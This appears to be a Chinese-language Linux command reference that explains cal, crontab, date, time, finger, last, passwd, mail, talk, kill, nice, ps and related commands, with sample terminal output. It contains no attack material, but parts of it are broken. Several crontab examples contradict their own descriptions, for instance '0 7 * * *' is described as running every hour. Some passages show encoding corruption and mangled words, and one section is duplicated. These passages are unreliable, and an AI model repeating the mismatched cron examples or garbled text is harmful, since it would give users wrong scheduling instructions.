				<br />[root@mylinux /root]# cal 5 2001<br />May 2001<br />Su Mo Tu We Th Fr Sa<br />1 2 3 4 5<br />6 7 8 9 10 11 12<br />13 14 15 16 17 18 19<br />20 21 22 23 24 25 26<br />27 28 29 30 31</p>
		<p>[root@mylinux /root]#</p>
		<p> </p>
		<p>cal -m : 以星期一为每周的第一天方式，显示本月的月历。</p>
		<p>
				<br />[root@mylinux /root]# cal -m<br />August 2000<br />Mo Tu We Th Fr Sa Su<br />1 2 3 4 5 6<br />7 8 9 10 11 12 13<br />14 15 16 17 18 19 20<br />21 22 23 24 25 26 27<br />28 29 30 31</p>
		<p>[root@mylinux /root]#</p>
		<p> </p>
		<p>cal -jy : 以一月一日起的天数显示今年的年历。</p>
		<p>
				<br />[root@mylinux /root]# cal -jy<br />2000</p>
		<p>January February<br />Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat<br />1 32 33 34 35 36<br />2 3 4 5 6 7 8 37 38 39 40 41 42 43<br />9 10 11 12 13 14 15 44 45 46 47 48 49 50<br />16 17 18 19 20 21 22 51 52 53 54 55 56 57<br />23 24 25 26 27 28 29 58 59 60<br />30 31<br />March April<br />Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat<br />61 62 63 64 92<br />65 66 67 68 69 70 71 93 94 95 96 97 98 99<br />72 73 74 75 76 77 78 100 101 102 103 104 105 106<br />79 80 81 82 83 84 85 107 108 109 110 111 112 113<br />86 87 88 89 90 91 114 115 116 117 118 119 120<br />121<br />May June<br />Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat<br />122 123 124 125 126 127 153 154 155<br />128 129 130 131 132 133 134 156 157 158 159 160 161 162<br />135 136 137 138 139 140 141 163 164 165 166 167 168 169<br />142 143 144 145 146 147 148 170 171 172 173 174 175 176<br />149 150 151 152 177 178 179 180 181 182</p>
		<p>July August<br />Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat<br />183 214 215 216 217 218<br />184 185 186 187 188 189 190 219 220 221 222 223 224 225<br />191 192 193 194 195 196 197 226 227 228 229 230 231 232<br />198 199 200 201 202 203 204 233 234 235 236 237 238 239<br />205 206 207 208 209 210 211 240 241 242 243 244<br />212 213<br />September October<br />Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat<br />245 246 275 276 277 278 279 280 281<br />247 248 249 250 251 252 253 282 283 284 285 286 287 288<br />254 255 256 257 258 259 260 289 290 291 292 293 294 295<br />261 262 263 264 265 266 267 296 297 298 299 300 301 302<br />268 269 270 271 272 273 274 303 304 305</p>
		<p>November December<br />Sun Mon Tue Wed Thu Fri Sat Sun Mon Tue Wed Thu Fri Sat<br />306 307 308 309 336 337<br />310 311 312 313 314 315 316 338 339 340 341 342 343 344<br />317 318 319 320 321 322 323 345 346 347 348 349 350 351<br />324 325 326 327 328 329 330 352 353 354 355 356 357 358<br />331 332 333 334 335 359 360 361 362 363 364 365<br />366</p>
		<p>[root@mylinux /root]#</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称 : crontab</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 :</p>
		<p>crontab [ -u user ] filecrontab [ -u user ] { -l | -r | -e }<br />说明 :<br />crontab 是用来让使用者在固定时间或固定间隔执行程式之用，换句话说，也就是类似使用者的时程表。-u user 是指设定指定 user 的时程表，这个前提是你必须要有其权限(比如说是 root)才能够指定他人的时程表。如果不使用 -u user 的话，就是表示设定自己的时程表。</p>
		<p>餐数 :</p>
		<p>-e : 执行文字编辑器来设定时程表，内定的文字编辑器是 VI，如果你想用别的文字编辑器，则请先设定 VISUAL 环境变数来指定使用那个文字编辑器(比如说 setenv VISUAL joe)<br />-r : 删除目前的时程表<br />-l : 列出目前的时程表</p>
		<p>时程表的格式如下 :<br />f1 f2 f3 f4 f5 program</p>
		<p>其中 f1 是表示分钟，f2 表示小时，f3 表示一个月份中的第几日，f4 表示月份，f5 表示一个星期中的第几天。program 表示要执行的程式。<br />当 f1 为 * 时表示每分钟都要执行 program，f2 为 * 时表示每小时都要执行程式，其余类推<br />当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行，f2 为 a-b 时表示从第 a 到第 b 小时都要执行，其余类推<br />当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次，f2 为 */n 表示每 n 小时个时间间隔执行一次，其余类推<br />当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行，f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行，其余类推</p>
		<p>使用者也可以将所有的设定先存放在档案 file 中，用 crontab file 的方式来设定时程表。<br />例子 :</p>
		<p>每月每天每小时的第 0 分钟执行一次 /bin/ls :<br />0 7 * * * /bin/ls</p>
		<p>在 12 月内, 每天的早上 6 点到 12 点中，每隔 20 分钟执行一次 /usr/bin/backup :<br />0 6-12/3 * 12 * /usr/bin/backup</p>
		<p>周一到周五每天下午 5:00 寄一封信给 <a href="mailto:alex@domain.name">alex@domain.name</a> :<br />0 17 * * 1-5 mail -s "hi" <a href="mailto:alex@domain.name">alex@domain.name</a> &lt; /tmp/maildata</p>
		<p>每月每天的午夜 0 点 20 分, 2 点 20 分, 4 点 20 分....执行 echo "haha"<br />20 0-23/2 * * * echo "haha"</p>
		<p>注意 :</p>
		<p>当程式在你所指定的时间执行后，系统会寄一封信给你，显示该程式执行的内容，若是你不希望收到这样的信，请在每一行空一格之后加上 &gt; /dev/null 2&gt;&amp;1 即可。</p>
		<p>
				<font color="#0000ff">名称 : date</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 :</p>
		<p>date [-u] [-d datestr] [-s datestr] [--utc] [--universal] [--date=datestr] [--set=datestr] [--help] [--version] [+FORMAT] [MMDDhhmm[[CC]YY][.ss]]</p>
		<p>说明 :</p>
		<p>date 可以用来显示或设定系统的日期与时间，在显示方面，使用者可以设定欲显示的格式，格式设定为一个加号后接数个标记，其中可用的标记列表如下 :</p>
		<p>时间方面 :</p>
		<p>% : 印出 %<br />%n : 下一行<br />%t : 跳格<br />%H : 小时(00..23)<br />%I : 小时(01..12)<br />%k : 小时(0..23)<br />%l : 小时(1..12)<br />%M : 分钟(00..59)<br />%p : 显示本地 AM 或 PM<br />%r : 直接显示时间 (12 小时制，格式为 hh:mms [AP]M)<br />%s : 从 1970 年 1 月 1 日 00:00:00 UTC 到目前为止的秒数<br />%S : 秒(00..61)<br />%T : 直接显示时间 (24 小时制)<br />%X : 相当于 %H:%M:%S<br />%Z : 显示时区</p>
		<p>日期方面 :<br />%a : 星期几 (Sun..Sat)<br />%A : 星期几 (Sunday..Saturday)<br />%b : 月份 (Jan..Dec)<br />%B : 月份 (January..December)<br />%c : 直接显示日期与时间<br />%d : 日 (01..31)<br />%D : 直接显示日期 (mm/dd/yy)<br />%h : 同 %b<br />%j : 一年中的第几天 (001..366)<br />%m : 月份 (01..12)<br />%U : 一年中的第几周 (00..53) (以 Sunday 为一周的第一天的情形)<br />%w : 一周中的第几天 (0..6)<br />%W : 一年中的第几周 (00..53) (以 Monday 为一周的第一天的情形)<br />%x : 直接显示日期 (mm/dd/yy)<br />%y : 年份的最后两位数字 (00.99)<br />%Y : 完整年份 (0000..9999)</p>
		<p>若是不以加号作为开头，则表示要设定时间，而时间格式为 MMDDhhmm[[CC]YY][.ss]，其中 MM 为月份，DD 为日，hh 为小时，mm 为分钟，CC 为年份前两位数字，YY 为年份后两位数字，ss 为秒数<br />把计 :</p>
		<p>-d datestr : 显示 datestr 中所设定的时间 (非系统时间)<br />--help : 显示辅助讯息<br />-s datestr : 将系统时间设为 datestr 中所设定的时间<br />-u : 显示目前的格林威治时间<br />--version : 显示版本编号</p>
		<p>例子 :<br />显示时间后跳行，再显示目前日期 :<br />date +%T%n%D</p>
		<p>显示月份与日数 :<br />date +%B %d</p>
		<p>显示日期与设定时间(12:34:56) :<br />date --date 12:34:56</p>
		<p>注意 :</p>
		<p>当你不希望出现无意义的 0 时(比如说 1999/03/07)，则可以在标记中插入 - 符号，比如说 date +%-H:%-M:%-S 会把时分秒中无意义的 0 给去掉，像是原本的 08:09:04 会变为 8:9:4。另外，只有取得权限者(比如说 root)才能设定系统时间。</p>
		<p>当你以 root 身分更改了系统时间之后，请记得以 clock -w 来将系统时间写入 CMOS 中，这样下次重新开机时系统时间才会持续抱持最新的正确值。</p>
		<p>
				<br />
				<font color="#0000ff">名称 : sleep<br /></font>使用权限 : 所有使用者</p>
		<p>使用方式 : sleep [--help] [--version] number[smhd]</p>
		<p>说明 : sleep 可以用来将目前动作延迟一段时间</p>
		<p>参数说明 :</p>
		<p>--help : 显示辅助讯息<br />--version : 显示版本编号<br />number : 时间长度，后面可接 s、m、h 或 d<br />其中 s 为秒，m 为 分钟，h 为小时，d 为日数</p>
		<p>例子 :<br />显示目前时间后延迟 1 分钟，之后再次显示时间 :<br />date;sleep 1m;date</p>
		<p>
				<br />
				<font color="#0000ff">名称： time<br /></font>使用权限： 所有使用者</p>
		<p>使用方式： time [options] COMMAND [arguments]</p>
		<p>说明： time 指令的用途，在于量测特定指令执行时所需消耗的时间及系统资源等资讯。例如 CPU 时间、记忆体、输入输出等等。需要特别注意的是，部分资讯在 Linux 上显示不出来。这是因为在 Linux 上部分资源的分配函式与 time 指令所预设的方式并不相同，以致于 time 指令无法取得这些资料。</p>
		<p>把计 </p>
		<p>-o or --output=FILE<br />设定结果输出档。这个选项会将 time 的输出写入所指定的档案中。如果档案已经存在，系统将覆写其内容。<br />-a or --append<br />配合 -o 使用，会将结果写到档案的末端，而不会覆盖掉原来的内容。<br />-f FORMAT or --format=FORMAT<br />以 FORMAT 字串设定显示方式。当这个选项没有被设定的时候，会用系统预设的格式。不过你可以用环境变数 time 来设定这个格式，如此一来就不必每次登入系统都要设定一次。<br />一般设定上，你可以用<br />t<br />表示跳栏，或者是用<br />n<br />表示换行。每一项资料要用 % 做为前导。如果要在字串中使用百分比符号，就用 。（学过 C 语言的人大概会觉得很熟悉）<br />time 指令可以显示的资源有四大项，分别是：</p>
		<p>Time resources<br />Memory resources<br />IO resources<br />Command info</p>
		<p>详细的内容如下：</p>
		<p>
				<br />Time Resources<br />E 执行指令所花费的时间，格式是：[hour]:minuteecond。请注意这个数字并不代表实际的 CPU 时间。<br />e 执行指令所花费的时间，单位是秒。请注意这个数字并不代表实际的 CPU 时间。<br />S 指令执行时在核心模式（kernel mode）所花费的时间，单位是秒。<br />U 指令执行时在使用者模式（user mode）所花费的时间，单位是秒。<br />P 执行指令时 CPU 的占用比例。其实这个数字就是核心模式加上使用者模式的 CPU 时间除以总时间。</p>
		<p>
				<br />Memory Resources<br />M 执行时所占用的实体记忆体的最大值。单位是 KB<br />t 执行时所占用的实体记忆体的平均值，单位是 KB<br />K 执行程序所占用的记忆体总量（stack+data+text）的平均大小，单位是 KB<br />D 执行程序的自有资料区（unshared data area）的平均大小，单位是 KB<br />p 执行程序的自有堆叠（unshared stack）的平均大小，单位是 KB<br />X 执行程序间共享内容（shared text）的平均值，单位是 KB<br />Z 系统记忆体页的大小，单位是 byte。对同一个系统来说这是个常数</p>
		<p>
				<br />IO Resources<br />F 此程序的主要记忆体页错误发生次数。所谓的主要记忆体页错误是指某一记忆体页已经置换到置换档（swap file)中，而且已经分配给其他程序。此时该页的内容必须从置换档里再读出来。<br />R 此程序的次要记忆体页错误发生次数。所谓的次要记忆体页错误是指某一记忆体页虽然已经置换到置换档中，但尚未分配给其他程序。此时该页的内容并未被破坏，不必从置换档里读出来<br />W 此程序被交换到置换档的次数<br />c 此程序被强迫中断（像是分配到的 CPU 时间耗尽）的次数<br />w 此程序自愿中断（像是在等待某一个 I/O 执行完毕，像是磁碟读取等等）的次数<br />I 此程序所输入的档案数<br />O 此程序所输出的档案数<br />r 此程序所收到的 Socket Message<br />s 此程序所送出的 Socket Message<br />k 此程序所收到的信号 ( Signal )数量</p>
		<p>
				<br />Command Info<br />C 执行时的参数以及指令名称<br />x 指令的结束代码 ( Exit Status )</p>
		<p> </p>
		<p>-p or --portability<br />这个选项会自动把显示格式设定成为：<br />real %e<br />user %U<br />sys %S<br />这么做的目的是为了与 POSIX 规格相容。<br />-v or --verbose<br />这个选项会把所有程式中用到的资源通通列出来，不但如一般英文语句，还有说明。对不想花时间去熟习格式设定或是刚刚开始接触这个指令的人相当有用。</p>
		<p>范例：<br />利用下面的指令<br />time -v ps -aux</p>
		<p>我们可以获得执行 ps -aux 的结果和所花费的系统资源。如下面所列的资料：<br />USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br />root 1 0.0 0.4 1096 472 ? S Apr19 0:04 init<br />root 2 0.0 0.0 0 0 ? SW Apr19 0:00 [kflushd]<br />root 3 0.0 0.0 0 0 ? SW Apr19 0:00 [kpiod]<br />......<br />root 24269 0.0 1.0 2692 996 pts/3 R 12:16 0:00 ps -aux</p>
		<p>Command being timed: "ps -aux"<br />User time (seconds): 0.05<br />System time (seconds): 0.06<br />Percent of CPU this job got: 68%<br />Elapsed (wall clock) time (h:mms or ms): 0:00.16<br />Average shared text size (kbytes): 0<br />Average unshared data size (kbytes): 0<br />Average stack size (kbytes): 0<br />Average total size (kbytes): 0<br />Maximum resident set size (kbytes): 0<br />Average resident set size (kbytes): 0<br />Major (requiring I/O) page faults: 238<br />Minor (reclaiming a frame) page faults: 46<br />Voluntary contexttches: 0<br />Involuntary contexttches: 0<br />Swaps: 0<br />File system inputs: 0<br />File system outputs: 0<br />Socket messages sent: 0<br />Socket messages received: 0<br />Signals delivered: 0<br />Page size (bytes): 4096<br />Exit status: 0</p>
		<p>
				<br />
				<font color="#0000ff">名称： uptime</font>
				<br />使用权限： 所有使用者<br />使用方式： uptime [-V]<br />说明： uptime 提供使用者下面的资讯，不需其他参数：</p>
		<p>现在的时间<br />系统开机运转到现在经过的时间<br />连线的使用者数量<br />最近一分钟，五分钟和十五分钟的系统负载<br />参数： -V 显示版本资讯。<br />范例： uptime<br />其结果为：<br />10:41am up 5 days, 10 min, 1 users, load average: 0.00, 0.00, 1.99</p>
		<p>
				<font color="#0000ff">名称：chfn</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>用法：shell&gt;&gt; chfn</p>
		<p>说明：提供使用者更改个人资讯，用于 finger and mail username</p>
		<p>范例：</p>
		<p>shell&gt;&gt; chfn<br />Changing finger information for user<br />Password: [del]<br />Name[]:Johnney Huang ### 提供 finger 时的资料<br />Office[]:NCCU<br />Office Phone[]: [del]<br />Home Phone[]: [del]</p>
		<p>--------------------------------------------------------------------------------<br /> <br />--  作者：babyz<br />--  发布时间：2004-2-3 1:24:24</p>
		<p>--  <br /><font color="#0000ff">名称：chsh</font></p>
		<p>使用权限：所有使用者</p>
		<p>用法：shell&gt;&gt; chsh</p>
		<p>说明：更改使用者 shell 设定</p>
		<p>范例：</p>
		<p>shell&gt;&gt; chsh<br />Changing fihanging shell for user1<br />Password: [del]<br />New shell [/bin/tcsh]: ### [是目前使用的 shell]<br />[del]</p>
		<p>shell&gt;&gt; chsh -l ### 展示 /etc/shells 档案内容<br />/bin/bash<br />/bin/sh<br />/bin/ash<br />/bin/bsh<br />/bin/tcsh<br />/bin/csh</p>
		<p>
				<br />" finger [返回]<br /><br /><font color="#0000ff">名称： finger</font><br />使用权限： 所有使用者</p>
		<p>使用方式： finger [options] user[@address]</p>
		<p>说明：finger 可以让使用者查询一些其他使用者的资料。会列出来的资料有：</p>
		<p>Login Name<br />User Name<br />Home directory<br />Shell<br />Login status<br />mail status<br />.plan<br />.project<br />.forward</p>
		<p>其中 .plan ，.project 和 .forward 就是使用者在他的 Home Directory 里的 .plan ， .project 和 .forward 等档案里的资料。如果没有就没有。finger 指令并不限定于在同一伺服器上查询，也可以寻找某一个远端伺服器上的使用者。只要给一个像是 E-mail address 一般的地址即可。<br />把计 </p>
		<p>-l<br />多行显示。</p>
		<p>-s<br />单行显示。这个选项只显示登入名称，真实姓名，终端机名称，闲置时间，登入时间，办公室号码及电话号码。如果所查询的使用者是远端伺服器的使用者，这个选项无效。</p>
		<p>范例：下列指令可以查询本机管理员的资料：<br />finger root</p>
		<p>其结果如下：<br />Login: root Name: root<br />Directory: /root Shell: /bin/bash<br />Never logged in.<br />No mail.<br />No Plan.</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称：last</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>使用方式：shell&gt;&gt; last [options]</p>
		<p>说明：显示系统开机以来获是从每月初登入者的讯息</p>
		<p>把计 </p>
		<p>-R 省略 hostname 的栏位<br />-num 展示前 num 个<br />username 展示 username 的登入讯息<br />tty 限制登入讯息包含终端机代号</p>
		<p>范例：</p>
		<p>shell&gt;&gt; last -R -2<br />johnney pts/1 Mon Aug 14 20:42 still logged in<br />johnney pts/0 Mon Aug 14 19:59 still logged in</p>
		<p>wtmp begins Tue Aug 1 09:01:10 2000 ### /var/log/wtmp</p>
		<p>
				<br />shell&gt;&gt; last -2 minery<br />minery pts/0 140.119.217.115 Mon Aug 14 18:37 - 18:40 (00:03)<br />minery pts/0 140.119.217.115 Mon Aug 14 17:22 - 17:24 (00:02)</p>
		<p>wtmp begins Tue Aug 1 09:01:10 2000</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称:login</font>
		</p>
		<p>这个命令都不会就不要干算了！呵呵我也不在这里多费笔墨耽误大家美好青春了^_^</p>
		<p>
				<br />
				<font color="#0000ff">名称：passwd</font>
		</p>
		<p>使用权限：所有使用者</p>
		<p>使用方式：passwd [-k] [-l] [-u [-f]] [-d] [-S] [username]</p>
		<p>说明：用来更改使用者的密码</p>
		<p>参数：<br />-k</p>
		<p>-l</p>
		<p>-u</p>
		<p>-f</p>
		<p>-d 关闭使用者的密码认证功能, 使用者在登入时将可以不用输入密码, 只有具备 root 权限的使用者方可使用.</p>
		<p>-S 显示指定使用者的密码认证种类, 只有具备 root 权限的使用者方可使用.</p>
		<p>[username] 指定帐号名称.</p>
		<p>
				<br />
				<font color="#0000ff">名称 : who<br /></font>使用权线 : 所有使用者都可使用</p>
		<p>使用方式 : who - [husfV] [user]</p>
		<p>说明 : 显示系统中有那些使用者正在上面，显示的资料包含了使用者 ID，使用的终端机，从那边连上来的，上线时间，呆滞时间，CPU 使用量，动作等等。</p>
		<p>把计 :</p>
		<p>-h : 不要显示标题列<br />-u : 不要显示使用者的动作/工作<br />-s : 使用简短的格式来显示<br />-f : 不要显示使用者的上线位置<br />-V : 显示程式版本<br /><br /><br /><font color="#0000ff">名称：/etc/aliases<br /></font>使用权限：系统管理者<br />使用方式： 请用 newaliases 更新资料库<br />说明：<br />sendmail 会使用一个在 /etc/aliases 中的档案做使用者名称转换的动作。当 sendmail 收到一个要送给 xxx 的信时，它会依据 aliases档的内容送给另一个使用者。这个功能可以创造一个只有在信件系统内才有效的使用者。例如 mailing list 就会用到这个功能，在 mailinglist 中，我们可能会创造一个叫 <a href="mailto:redlinux@link.ece.uci.edu">redlinux@link.ece.uci.edu</a> 的 mailinglist，但实际上并没有一个叫 redlinux 的使用者。实际 aliases 档的内容是将送给这个使用者的信都收给 mailing list 处理程式负责分送的工作。</p>
		<p>/etc/aliases 是一个文字模式的档案，sendmail 需要一个二进位格式的 /etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一个 sendmail 所能了解的资料库。范例：<br /># newaliases</p>
		<p>下面命令会做相同的事，<br /># sendmail -bi</p>
		<p>相关命令:<br />mail, mailq, newaliases, sendmail</p>
		<p>" mail [返回]<br /><br /><font color="#0000ff">名称：mail</font></p>
		<p>使用权限：所有使用者</p>
		<p>
				<br />使用方式：mail [-iInv] [-s subject] [-c cc-addr] [-b bcc-addr] user1 [user 2 ...]</p>
		<p>
				<br />说明：<br />mail 不仅只是一个指令， mail 还是一个电子邮件程式，不过利用 mail 来读信的人应该很少吧！对于系统管理者来说 mail 就很有用，因为管理者可以用 mail 写成 script ，定期寄一些备忘录提醒系统的使用者。</p>
		<p>
				<br />参数：<br />i 忽略 tty 的中断讯号。 (interrupt)<br />I 强迫设成互动模式。 (Interactive)<br />v 列印出讯息，例如送信的地点、状态等等。 (verbose)<br />n 不读入 mail.rc 设定档。<br />s 邮件标题。<br />c cc 邮件地址。<br />b bcc 邮件地址。</p>
		<p>
				<br />范例：</p>
		<p>
				<br />将信件送给一个或以上的电子邮件地址，由于没有加入其他的选项，使用者必须输入标题与信件的内容等。而 user2 没有主机位置，就会送给邮件伺服器的 user2 使用者。</p>
		<p>
				<br />mail <a href="mailto:user1@email.address">user1@email.address</a><br />mail <a href="mailto:user1@email.address">user1@email.address</a> user2</p>
		<p>
				<br />将 mail.txt 的内容寄给 user2 同时 cc 给 user1 。如果将这一行指令设成 cronjob 就可以定时将备忘录寄给系统使用者。</p>
		<p>mail -s 标题 -c user1 user2 &lt; mail.txt</p>
		<p>
				<br />
				<font color="#0000ff">指令：mesg</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 : mesg [y|n]</p>
		<p>说明 ： 决定是否允许其他人传讯息到自己的终端机介面</p>
		<p>
				<br />把计 </p>
		<p>y : 允许讯息传到终端机介面上。<br />n : 不允许讯息传到终端机介面上 。<br />如果没有设定，则讯息传递与否则由终端机界面目前状态而定。</p>
		<p>例子 :<br />改变目前讯息设定，改成不允许讯息传到终端机介面上 :<br />mesg n</p>
		<p>
				<br />与 mesg 相关的指令有： talk，write，wall。</p>
		<p>
				<br />
				<font color="#0000ff">名称：/etc/aliases</font>
				<br />使用权限：系统管理者<br />使用方式： newaliases<br />说明：<br />sendmail 会使用一个在 /etc/aliases 中的档案做使用者名称转换的动作。当 sendmail 收到一个要送给 xxx 的信时，它会依据 aliases档的内容送给另一个使用者。这个功能可以创造一个只有在信件系统内才有效的使用者。例如 mailing list 就会用到这个功能，在 mailinglist 中，我们可能会创造一个叫 <a href="mailto:redlinux@link.ece.uci.edu">redlinux@link.ece.uci.edu</a> 的 mailinglist，但实际上并没有一个叫 redlinux 的使用者。实际 aliases 档的内容是将送给这个使用者的信都收给 mailing list 处理程式负责分送的工作。</p>
		<p>/etc/aliases 是一个文字模式的档案，sendmail 需要一个二进位格式的 /etc/aliases.db。newaliases 的功能传是将 /etc/aliases 转换成一个 sendmail 所能了解的资料库。</p>
		<p>参数：没有任何参数。 范例：<br /># newaliases</p>
		<p>下面命令会做相同的事，<br /># sendmail -bi</p>
		<p>相关命令:<br />mail, mailq, newaliases, sendmail</p>
		<p>
				<br />
				<font color="#0000ff">名称 : talk</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 :</p>
		<p>talk person [ttyname]<br />说明 : 与其他使用者对谈</p>
		<p>把计 :</p>
		<p>person : 预备对谈的使用者帐号，如果该使用者在其他机器上，则可输入 <a href="mailto:person@machine.name">person@machine.name</a><br />ttyname : 如果使用者同时有两个以上的 tty 连线，可以自行选择合适的 tty 传讯息</p>
		<p>例子.1 :</p>
		<p>与现在机器上的使用者Rollaend对谈，此时 Rollaend 只有一个连线 :<br />talk Rollaend</p>
		<p>
				<br />接下来就是等Rollaend回应，若Rollaend接受，则Rollaend输入 ****talk jzlee****即可开始对谈，结束请按 ctrl+c</p>
		<p>例子.2 :与linuxfab.cx上的使用者Rollaend对谈，使用pts/2来对谈 :<br />talk <a href="mailto:Rollaend@linuxfab.cx">Rollaend@linuxfab.cx</a> pts/2</p>
		<p>
				<br />接下来就是等Rollaend回应，若Rollaend接受，则Rollaend输入 ****talk <a href="mailto:jzlee@jzlee.home">jzlee@jzlee.home</a>****即可开始对谈，结束请按 ctrl+c</p>
		<p>注意 : 若萤幕的字会出现不正常的字元，试着按 ctrl+l 更新萤幕画面。</p>
		<p>
				<br />
				<font color="#0000ff">名称 : wall</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 :</p>
		<p>wall [ message ]<br />使用说明：<br />wall 会将讯息传给每一个 mesg 设定为 yes 的上线使用者。当使用终端机介面做为标准传入时, 讯息结束时需加上 EOF (通常用 Ctrl+D) </p>
		<p>例子 :</p>
		<p>传讯息"hi" 给每一个使用者 :<br />wall hi</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称 : write</font>
				<br />使用权限 : 所有使用者</p>
		<p>使用方式 :</p>
		<p>write user [ttyname]<br />说明 : 传讯息给其他使用者</p>
		<p>把计 :</p>
		<p>user : 预备传讯息的使用者帐号<br />ttyname : 如果使用者同时有两个以上的 tty 连线，可以自行选择合适的 tty 传讯息</p>
		<p>例子.1 :</p>
		<p>传讯息给 Rollaend，此时 Rollaend 只有一个连线 :<br />write Rollaend</p>
		<p>
				<br />接下来就是将讯息打上去，结束请按 ctrl+c</p>
		<p>例子.2 :传讯息给 Rollaend，Rollaend 的连线有 pts/2，pts/3 :<br />write Rollaend pts/2</p>
		<p>
				<br />接下来就是将讯息打上去，结束请按 ctrl+c</p>
		<p>注意 : 若对方设定 mesg n，则此时讯席将无法传给对方</p>
		<p>
				<font color="#0000ff">名称：kill</font>
				<br />使用权限：所有使用者</p>
		<p>使用方式：</p>
		<p>kill [ -s signal | -p ] [ -a ] pid ...<br />kill -l [ signal ]<br />说明：kill 送出一个特定的信号 (signal) 给行程 id 为 pid 的行程根据该信号而做特定的动作, 若没有指定, 预设是送出终止 (TERM) 的信号<br />把计 </p>
		<p>-s (signal) : 其中可用的讯号有 HUP (1), KILL (9), TERM (15), 分别代表着重跑, 砍掉, 结束; 详细的信号可以用 kill -l<br />-p : 印出 pid , 并不送出信号<br />-l (signal) : 列出所有可用的信号名称<br />范例：</p>
		<p>将 pid 为 323 的行程砍掉 (kill) :<br />kill -9 323</p>
		<p>将 pid 为 456 的行程重跑 (restart) :<br />kill -HUP 456</p>
		<p> </p>
		<p>
				<font color="#0000ff">名称：nice</font>
				<br />使用权限：所有使用者</p>
		<p>使用方式：nice [-n adjustment] [-adjustment] [--adjustment=adjustment] [--help] [--version] [command [arg...]]</p>
		<p>说明：以更改过的优先序来执行程式, 如果未指定程式, 则会印出目前的排程优先序, 内定的 adjustment 为 10, 范围为 -20 (最高优先序) 到 19 (最低优先序)</p>
		<p>
				<br />把计 </p>
		<p>-n adjustment, -adjustment, --adjustment=adjustment 皆为将该原有优先序的增加 adjustment<br />--help 显示求助讯息<br />--version 显示版本资讯<br />范例：<br />将 ls 的优先序加 1 并执行 :<br />nice -n 1 ls</p>
		<p>将 ls 的优先序加 10 并执行 :<br />nice ls将 ls 的优先序加 10 并执行</p>
		<p>注意 : 优先序 (priority) 为作业系统用来决定 CPU 分配的参数，Linux 使用『回合制(round-robin)』的演算法来做 CPU 排程，优先序越高，所可能获得的 CPU时间就越多。</p>
		<p>
				<br />
				<font color="#0000ff">名称：ps</font>
				<br />使用权限：所有使用者<br />使用方式：ps [options] [--help]<br />说明：显示瞬间行程 (process) 的动态<br />参数：<br />ps 的参数非常多, 在此仅列出几个常用的参数并大略介绍含义<br />-A 列出所有的行程<br />-w 显示加宽可以显示较多的资讯<br />-au 显示较详细的资讯<br />-aux 显示所有包含其他使用者的行程</p>
		<p>au(x) 输出格式 :</p>
		<p>USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br />USER: 行程拥有者<br />PID: pid<br />%CPU: 占用的 CPU 使用率<br />%MEM: 占用的记忆体使用率<br />VSZ: 占用的虚拟记忆体大小<br />RSS: 占用的记忆体大小<br />TTY: 终端的次要装置号码 (minor device number of tty)<br />STAT: 该行程的状态:<br />D: 不可中断的静止 (通悸□□缜b进行 I/O 动作)<br />R: 正在执行中<br />S: 静止状态<br />T: 暂停执行<br />Z: 不存在但暂时无法消除<br />W: 没有足够的记忆体分页可分配<br />&lt;: 高优先序的行程<br />N: 低优先序的行程<br />L: 有记忆体分页分配并锁在记忆体内 (即时系统或捱A I/O)<br />START: 行程开始时间<br />TIME: 执行的时间<br />COMMAND:所执行的指令</p>
		<p>范例：</p>
		<p>ps<br />PID TTY TIME CMD<br />2791 ttyp0 00:00:00 tcsh<br />3092 ttyp0 00:00:00 ps<br />% ps -A<br />PID TTY TIME CMD<br />1 ? 00:00:03 init<br />2 ? 00:00:00 kflushd<br />3 ? 00:00:00 kpiod<br />4 ? 00:00:00 kswapd<br />5 ? 00:00:00 mdrecoveryd<br />.......<br />% ps -aux<br />USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND<br />root 1 0.0 0.7 1096 472 ? S Sep10 0:03 init [3]<br />root 2 0.0 0.0 0 0 ? SW Sep10 0:00 [kflushd]<br />root 3 0.0 0.0 0 0 ? SW Sep10 0:00 [kpiod]<br />root 4 0.0 0.0 0 0 ? SW Sep10 0:00 [kswapd]<br />........</p>
		<p>
				<br />
				<font color="#0000ff">名称：pstree</font>
				<br />使用权限：所有使用者<br />使用方式：<br />pstree [-a] [-c] [-h|-Hpid] [-l] [-n] [-p] [-u] [-G|-U] [pid|user]<br />pstree -V<br />说明：将所有行程以树状图显示, 树状图将会以 pid (如果有指定) 或是以 init 这个基本行程为根 (root) ,如果有指定使用者 id , 则树状图会只显示该使用者所拥有的行程<br />参数：<br />-a 显示该行程的完整指令及参数, 如果是被记忆体置换出去的行程则会加上括号<br />-c 如果有重覆的行程名, 则分开列出 (预设值是会在前面加上 *<br />范例：</p>
		<p>pstree</p>
		<p>init-+-amd<br />|-apmd<br />|-atd<br />|-httpd---10*[httpd]<br />%pstree -p<br />init(1)-+-amd(447)<br />|-apmd(105)<br />|-atd(339)<br />%pstree -c<br />init-+-amd<br />|-apmd<br />|-atd<br />|-httpd-+-httpd<br />| |-httpd<br />| |-httpd<br />| |-httpd<br />....</p>
		<p>
				<br />
				<font color="#0000ff">名称：renice</font>
				<br />使用权限：所有使用者</p>
		<p>使用方式：renice priority [[-p] pid ...] [[-g] pgrp ...] [[-u] user ...]</p>
